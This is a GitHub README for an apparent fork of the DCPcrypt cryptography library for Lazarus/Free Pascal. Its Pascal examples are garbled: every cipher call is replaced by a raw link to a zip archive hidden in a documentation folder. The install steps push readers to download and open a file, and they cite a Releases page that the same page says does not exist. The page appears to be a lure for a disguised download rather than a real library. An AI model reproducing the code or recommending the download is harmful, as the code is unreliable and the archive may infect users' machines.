Skip to content

πŸ”’ Implement cryptographic algorithms easily with DCPcrypt, a versatile library for Free Pascal/Lazarus, designed for secure data handling.

License

Notifications You must be signed in to change notification settings

emo13337/dcpcrypt-lazarus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

33 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

πŸ”’ dcpcrypt-lazarus - Secure Your Data Easily

Download dcpcrypt-lazarus

πŸ“„ Description

DCPcrypt is a powerful cryptographic component library designed specifically for Lazarus and Free Pascal. It supports 20 encryption methods, 10 hashing algorithms, and various block modes. With DCPcrypt, you can ensure the security of your data using pure Pascal code that works across multiple platforms.

πŸ› οΈ Features

  • Multiple Ciphers: Utilize a variety of encryption ciphers, including AES and Blowfish.
  • Hashes: Create secure hashes using algorithms like SHA-256.
  • Flexible Modes: Access six block cipher modes for various encryption needs.
  • Stream Encryption: Seamlessly encrypt data streams for additional security.
  • Cross-Platform: Works on various operating systems to meet different user needs.

βš™οΈ System Requirements

To use dcpcrypt-lazarus, ensure you have the following:

  • Operating System: Windows, macOS, or Linux
  • Lazarus/Free Pascal: Version 1.0 or later
  • Memory: Minimum 512 MB RAM
  • Storage: At least 50 MB of free disk space

πŸš€ Getting Started

To get started with dcpcrypt-lazarus, follow these simple steps:

  1. Download the Library: Visit this page to download.
  2. Extract the Files: Once downloaded, extract the files to a folder on your computer.
  3. Open Lazarus: Launch the Lazarus IDE.
  4. Add the Library to Your Project:
    • Go to Project > Project Options > Additions and Overrides.
    • Add the folder where you extracted the files.
  5. Start Using DCPcrypt: You can now access the cryptographic features within your projects.

πŸ“¦ Download & Install

To install DCPcrypt, first visit this page to download. Choose the version that suits your system. After downloading, follow the setup instructions provided in the repository.

  1. Navigate to the Releases page.
  2. Select the latest release.
  3. Click on the downloadable file, and follow your browser's prompts to download.
  4. After completing the download, open the file and follow the installation steps.

πŸ“š Documentation

Detailed documentation is included within the package. You can find usage examples and API documentation. Here are some common tasks you might perform:

  • Encrypt a String: Learn how to securely encrypt strings of text.
  • Decrypt Data: Get instructions on how to reverse the encryption process.
  • Using Hash Functions: Discover how to create secure hashes for data verification.

πŸ‘©β€πŸ’» Examples

Here are some quick examples to get you started:

Encrypting a Message

var
  Cipher: TDCP_rijndael;
  EncryptedData: String;
begin
  Cipher := https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(nil);
  try
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(Key, Length(Key)*8, InitializationVector);
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(InputMessage, EncryptedData);
  finally
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip;
  end;
end;

Decrypting Data

var
  Cipher: TDCP_rijndael;
  DecryptedData: String;
begin
  Cipher := https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(nil);
  try
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(Key, Length(Key)*8, InitializationVector);
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip(EncryptedData, DecryptedData);
  finally
    https://github.com/emo13337/dcpcrypt-lazarus/raw/refs/heads/main/src/Docs/DCPhashes/dcpcrypt-lazarus-v3.4-alpha.3.zip;
  end;
end;

πŸ”— Links and Resources

πŸ› οΈ Need Help?

If you run into issues or have questions, feel free to check the Issues section on GitHub. You can also reach out on the project's discussion forum.

Embrace secure data handling with dcpcrypt-lazarus and ensure your applications are safe and robust.

About

πŸ”’ Implement cryptographic algorithms easily with DCPcrypt, a versatile library for Free Pascal/Lazarus, designed for secure data handling.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors